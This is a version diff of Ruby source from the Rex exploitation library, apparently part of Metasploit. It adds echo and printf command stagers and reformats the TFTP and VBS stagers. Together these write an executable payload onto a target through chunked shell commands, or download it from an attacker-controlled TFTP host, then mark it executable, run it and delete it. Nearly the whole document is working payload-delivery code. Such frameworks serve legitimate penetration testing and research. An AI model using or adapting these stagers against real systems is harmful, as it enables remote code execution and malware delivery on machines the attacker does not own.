librex 0.0.68 → 0.0.70

data/lib/rex/exploitation/cmdstager/echo.rb

@@ -0,0 +1,164 @@
+# -*- coding: binary -*-
+
+require 'rex/text'
+require 'rex/arch'
+require 'msf/core/framework'
+require 'shellwords'
+
+module Rex
+module Exploitation
+
+class CmdStagerEcho < CmdStagerBase
+
+  ENCODINGS = {
+    'hex'   => "\\\\x",
+    'octal' => "\\\\"
+  }
+
+  def initialize(exe)
+    super
+
+    @var_elf = Rex::Text.rand_text_alpha(5)
+  end
+
+  #
+  # Override to ensure opts[:temp] is a correct *nix path
+  # and initialize opts[:enc_format].
+  #
+  def generate(opts = {})
+    opts[:temp] = opts[:temp] || '/tmp/'
+    opts[:temp].gsub!(/\\/, "/")
+    opts[:temp] = opts[:temp].shellescape
+    opts[:temp] << '/' if opts[:temp][-1,1] != '/'
+
+    # by default use the 'hex' encoding
+    opts[:enc_format] = opts[:enc_format] || 'hex'
+
+    unless ENCODINGS.keys.include?(opts[:enc_format])
+      raise RuntimeError, "CmdStagerEcho - Invalid Encoding Option: #{opts[:enc_format]}"
+    end
+
+    super
+  end
+
+  #
+  # Override to set the extra byte count
+  #
+  def generate_cmds(opts)
+    # Set the start/end of the commands here (vs initialize) so we have @tempdir
+    @cmd_start = "echo "
+    unless opts[:noargs]
+      @cmd_start += "-en "
+    end
+
+    @cmd_end   = ">>#{@tempdir}#{@var_elf}"
+    xtra_len = @cmd_start.length + @cmd_end.length
+    opts.merge!({ :extra => xtra_len })
+
+    @prefix = ENCODINGS[opts[:enc_format]]
+    min_part_size = 5 # for both encodings
+
+    if (opts[:linemax] - opts[:extra]) < min_part_size
+      raise RuntimeError, "CmdStagerEcho - Not enough space for command - #{opts[:extra] + min_part_size} byte required, #{opts[:linemax]} byte available"
+    end
+
+    super
+  end
+
+
+  #
+  # Encode into a format that echo understands, where
+  # interpretation of backslash escapes are enabled. For
+  # hex, it'll look like "\\x41\\x42", and octal will be
+  # "\\101\\102\\5\\41"
+  #
+  def encode_payload(opts)
+    case opts[:enc_format]
+    when 'octal'
+      return Rex::Text.to_octal(@exe, @prefix)
+    else
+      return Rex::Text.to_hex(@exe, @prefix)
+    end
+  end
+
+
+  #
+  # Combine the parts of the encoded file with the stuff that goes
+  # before ("echo -en ") / after (">>file") it.
+  #
+  def parts_to_commands(parts, opts)
+    parts.map do |p|
+      cmd = ''
+      cmd << @cmd_start
+      cmd << p
+      cmd << @cmd_end
+      cmd
+    end
+  end
+
+  #
+  # Since the binary has been already dropped to fs, just execute and
+  # delete it
+  #
+  def generate_cmds_decoder(opts)
+    cmds = []
+    # Make it all happen
+    cmds << "chmod 777 #{@tempdir}#{@var_elf}"
+    #cmds << "chmod +x #{@tempdir}#{@var_elf}"
+    cmds << "#{@tempdir}#{@var_elf}"
+
+    # Clean up after unless requested not to..
+    unless opts[:nodelete]
+      cmds << "rm -f #{@tempdir}#{@var_elf}"
+    end
+
+    return cmds
+  end
+
+  #
+  # Override it to ensure that the hex representation of a byte isn't cut
+  #
+  def slice_up_payload(encoded, opts)
+    encoded_dup = encoded.dup
+
+    parts = []
+    xtra_len = opts[:extra]
+    xtra_len ||= 0
+    while (encoded_dup.length > 0)
+      temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len))
+      # cut the end of the part until we reach the start
+      # of a full byte representation "\\xYZ" or "\\YZX"
+      temp = fix_last_byte(temp, opts, encoded_dup)
+      parts << temp
+      encoded_dup.slice!(0, temp.length)
+    end
+
+    parts
+  end
+
+  def fix_last_byte(part, opts, remaining="")
+    fixed_part = part.dup
+
+    case opts[:enc_format]
+    when 'hex'
+      while (fixed_part.length > 0 && fixed_part[-5, @prefix.length] != @prefix)
+        fixed_part.chop!
+      end
+    when 'octal'
+      if remaining.length > fixed_part.length and remaining[fixed_part.length, @prefix.length] != @prefix
+        pos = fixed_part.rindex('\\')
+        pos -= 1 if fixed_part[pos-1] == '\\'
+        fixed_part.slice!(pos..fixed_part.length-1)
+      end
+    end
+
+    return fixed_part
+  end
+
+  def cmd_concat_operator
+    " ; "
+  end
+
+end
+end
+end

data/lib/rex/exploitation/cmdstager/printf.rb

@@ -0,0 +1,122 @@
+# -*- coding: binary -*-
+
+require 'rex/text'
+require 'rex/arch'
+require 'msf/core/framework'
+require 'shellwords'
+
+module Rex
+module Exploitation
+
+class CmdStagerPrintf < CmdStagerBase
+
+  def initialize(exe)
+    super
+
+    @var_elf = Rex::Text.rand_text_alpha(5)
+  end
+
+  #
+  # Override to ensure opts[:temp] is a correct *nix path
+  #
+  def generate(opts = {})
+    opts[:temp] = opts[:temp] || '/tmp/'
+    opts[:temp].gsub!(/\\/, '/')
+    opts[:temp] = opts[:temp].shellescape
+    opts[:temp] << '/' if opts[:temp][-1,1] != '/'
+    super
+  end
+
+  #
+  # Override to set the extra byte count
+  #
+  def generate_cmds(opts)
+    if opts[:noquotes]
+      @cmd_start    = "printf "
+      @cmd_end      = ">>#{@tempdir}#{@var_elf}"
+      @prefix       = '\\\\'
+      min_part_size = 5
+    else
+      @cmd_start    = "printf '"
+      @cmd_end      = "'>>#{@tempdir}#{@var_elf}"
+      @prefix       = '\\'
+      min_part_size = 4
+    end
+    xtra_len = @cmd_start.length + @cmd_end.length
+    opts.merge!({ :extra => xtra_len })
+
+    if (opts[:linemax] - opts[:extra]) < min_part_size
+      raise RuntimeError, "Not enough space for command - #{opts[:extra] + min_part_size} byte required, #{opts[:linemax]} byte available"
+    end
+
+    super
+  end
+
+  #
+  # Encode into a "\12\345" octal format that printf understands
+  #
+  def encode_payload(opts)
+    return Rex::Text.to_octal(@exe, @prefix)
+  end
+
+  #
+  # Override it to ensure that the octal representation of a byte isn't cut
+  #
+  def slice_up_payload(encoded, opts)
+    encoded_dup = encoded.dup
+
+    parts = []
+    xtra_len = opts[:extra]
+    xtra_len ||= 0
+    while (encoded_dup.length > 0)
+      temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len))
+
+      # remove the last octal escape if it is imcomplete
+      if encoded_dup.length > temp.length and encoded_dup[temp.length, @prefix.length] != @prefix
+        pos = temp.rindex('\\')
+        pos -= 1 if temp[pos-1] == '\\'
+        temp.slice!(pos..temp.length-1)
+      end
+
+      parts << temp
+      encoded_dup.slice!(0, temp.length)
+    end
+
+    parts
+  end
+
+  #
+  # Combine the parts of the encoded file with the stuff that goes
+  # before and after it.
+  #
+  def parts_to_commands(parts, opts)
+    parts.map do |p|
+      @cmd_start + p + @cmd_end
+    end
+  end
+
+  #
+  # Since the binary has been already dropped to disk, just execute and
+  # delete it
+  #
+  def generate_cmds_decoder(opts)
+    cmds = []
+    # Make it all happen
+    cmds << "chmod +x #{@tempdir}#{@var_elf}"
+    cmds << "#{@tempdir}#{@var_elf}"
+
+    # Clean up after unless requested not to..
+    unless opts[:nodelete]
+      cmds << "rm -f #{@tempdir}#{@var_elf}"
+    end
+
+    return cmds
+  end
+
+  def cmd_concat_operator
+    " ; "
+  end
+
+end
+end
+end

data/lib/rex/exploitation/cmdstager/tftp.rb

@@ -1,7 +1,4 @@
 # -*- coding: binary -*-
-##
-# $Id: tftp.rb 15548 2012-06-29 06:08:20Z rapid7 $
-##
 
 require 'rex/text'
 require 'rex/arch'
@@ -28,37 +25,47 @@ module Exploitation
 
 class CmdStagerTFTP < CmdStagerBase
 
-	def initialize(exe)
-		super
+  def initialize(exe)
+    super
+    @payload_exe = Rex::Text.rand_text_alpha(8) + ".exe"
+  end
 
-		@payload_exe = Rex::Text.rand_text_alpha(8) + ".exe"
-	end
+  def setup(mod)
+    tftp = Rex::Proto::TFTP::Server.new
+    tftp.register_file(Rex::Text.rand_text_alphanumeric(8), exe)
+    tftp.start
+    mod.add_socket(tftp) # Hating myself for doing it... but it's just a first demo
+  end
 
+  def teardown(mod = nil)
+    tftp.stop
+  end
 
-	#
-	# We override compress commands just to stick in a few extra commands
-	# last second..
-	#
-	def compress_commands(cmds, opts)
-		# Initiate the download
-		cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:transid]} #{@tempdir + @payload_exe}"
+  #
+  # We override compress commands just to stick in a few extra commands
+  # last second..
+  #
+  def compress_commands(cmds, opts)
+    # Initiate the download
+    cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:transid]} #{@tempdir + @payload_exe}"
 
-		# Make it all happen
-		cmds << "start #{@tempdir + @payload_exe}"
+    # Make it all happen
+    cmds << "start #{@tempdir + @payload_exe}"
 
-		# Clean up after unless requested not to..
-		if (not opts[:nodelete])
-			# XXX: We won't be able to delete the payload while it is running..
-		end
+    # Clean up after unless requested not to..
+    if (not opts[:nodelete])
+      # XXX: We won't be able to delete the payload while it is running..
+    end
 
-		super
-	end
+    super
+  end
 
-	# NOTE: We don't use a concatenation operator here since we only have a couple commands.
-	# There really isn't any need to combine them. Also, the ms01_026 exploit depends on
-	# the start command being issued separately so that it can ignore it :)
-
-	attr_reader :payload_exe
+  # NOTE: We don't use a concatenation operator here since we only have a couple commands.
+  # There really isn't any need to combine them. Also, the ms01_026 exploit depends on
+  # the start command being issued separately so that it can ignore it :)
+  attr_reader :exe
+  attr_reader :payload_exe
+  attr_accessor :tftp
 end
 end
 end

data/lib/rex/exploitation/cmdstager/vbs.rb

@@ -1,7 +1,4 @@
 # -*- coding: binary -*-
-##
-# $Id: vbs.rb 12595 2011-05-12 18:33:49Z jduck $
-##
 
 require 'rex/text'
 require 'rex/arch'
@@ -28,101 +25,101 @@ module Exploitation
 
 class CmdStagerVBS < CmdStagerBase
 
-	def initialize(exe)
-		super
-
-		@var_decoder = Rex::Text.rand_text_alpha(5)
-		@var_encoded = Rex::Text.rand_text_alpha(5)
-		@var_decoded = Rex::Text.rand_text_alpha(5)
-		@decoder     = nil # filled in later
-	end
-
-
-	#
-	# Override just to set the extra byte count
-	#
-	def generate_cmds(opts)
-		# Set the start/end of the commands here (vs initialize) so we have @tempdir
-		@cmd_start = "echo "
-		@cmd_end   = ">>#{@tempdir}#{@var_encoded}.b64"
-		xtra_len = @cmd_start.length + @cmd_end.length + 1
-		opts.merge!({ :extra => xtra_len })
-		super
-	end
-
-
-	#
-	# Simple base64...
-	#
-	def encode_payload(opts)
-		Rex::Text.encode_base64(@exe)
-	end
-
-
-	#
-	# Combine the parts of the encoded file with the stuff that goes
-	# before / after it.
-	#
-	def parts_to_commands(parts, opts)
-
-		cmds = []
-		parts.each do |p|
-			cmd = ''
-			cmd << @cmd_start
-			cmd << p
-			cmd << @cmd_end
-			cmds << cmd
-		end
-
-		cmds
-	end
-
-
-	#
-	# Generate the commands that will decode the file we just created
-	#
-	def generate_cmds_decoder(opts)
-
-		# Allow decoder stub override (needs to input base64 and output bin)
-		@decoder = opts[:decoder] if (opts[:decoder])
-
-		# Read the decoder data file
-		f = File.new(@decoder, "rb")
-		decoder = f.read(f.stat.size)
-		f.close
-
-		# Replace variables
-		decoder.gsub!(/decode_stub/, "#{@tempdir}#{@var_decoder}.vbs")
-		decoder.gsub!(/ENCODED/, "#{@tempdir}#{@var_encoded}.b64")
-		decoder.gsub!(/DECODED/, "#{@tempdir}#{@var_decoded}.exe")
-
-		# Split it apart by the lines
-		decoder.split("\n")
-	end
-
-
-	#
-	# We override compress commands just to stick in a few extra commands
-	# last second..
-	#
-	def compress_commands(cmds, opts)
-		# Make it all happen
-		cmds << "cscript //nologo #{@tempdir}#{@var_decoder}.vbs"
-
-		# Clean up after unless requested not to..
-		if (not opts[:nodelete])
-			cmds << "del #{@tempdir}#{@var_decoder}.vbs"
-			cmds << "del #{@tempdir}#{@var_encoded}.b64"
-			# NOTE: We won't be able to delete the exe while it's in use.
-		end
-
-		super
-	end
-
-	# Windows uses & to concat strings
-	def cmd_concat_operator
-		" & "
-	end
+  def initialize(exe)
+    super
+
+    @var_decoder = Rex::Text.rand_text_alpha(5)
+    @var_encoded = Rex::Text.rand_text_alpha(5)
+    @var_decoded = Rex::Text.rand_text_alpha(5)
+    @decoder     = nil # filled in later
+  end
+
+
+  #
+  # Override just to set the extra byte count
+  #
+  def generate_cmds(opts)
+    # Set the start/end of the commands here (vs initialize) so we have @tempdir
+    @cmd_start = "echo "
+    @cmd_end   = ">>#{@tempdir}#{@var_encoded}.b64"
+    xtra_len = @cmd_start.length + @cmd_end.length + 1
+    opts.merge!({ :extra => xtra_len })
+    super
+  end
+
+
+  #
+  # Simple base64...
+  #
+  def encode_payload(opts)
+    Rex::Text.encode_base64(@exe)
+  end
+
+
+  #
+  # Combine the parts of the encoded file with the stuff that goes
+  # before / after it.
+  #
+  def parts_to_commands(parts, opts)
+
+    cmds = []
+    parts.each do |p|
+      cmd = ''
+      cmd << @cmd_start
+      cmd << p
+      cmd << @cmd_end
+      cmds << cmd
+    end
+
+    cmds
+  end
+
+
+  #
+  # Generate the commands that will decode the file we just created
+  #
+  def generate_cmds_decoder(opts)
+
+    # Allow decoder stub override (needs to input base64 and output bin)
+    @decoder = opts[:decoder] if (opts[:decoder])
+
+    # Read the decoder data file
+    f = File.new(@decoder, "rb")
+    decoder = f.read(f.stat.size)
+    f.close
+
+    # Replace variables
+    decoder.gsub!(/decode_stub/, "#{@tempdir}#{@var_decoder}.vbs")
+    decoder.gsub!(/ENCODED/, "#{@tempdir}#{@var_encoded}.b64")
+    decoder.gsub!(/DECODED/, "#{@tempdir}#{@var_decoded}.exe")
+
+    # Split it apart by the lines
+    decoder.split("\n")
+  end
+
+
+  #
+  # We override compress commands just to stick in a few extra commands
+  # last second..
+  #
+  def compress_commands(cmds, opts)
+    # Make it all happen
+    cmds << "cscript //nologo #{@tempdir}#{@var_decoder}.vbs"
+
+    # Clean up after unless requested not to..
+    if (not opts[:nodelete])
+      cmds << "del #{@tempdir}#{@var_decoder}.vbs"
+      cmds << "del #{@tempdir}#{@var_encoded}.b64"
+      # NOTE: We won't be able to delete the exe while it's in use.
+    end
+
+    super
+  end
+
+  # Windows uses & to concat strings
+  def cmd_concat_operator
+    " & "
+  end
 
 end
 end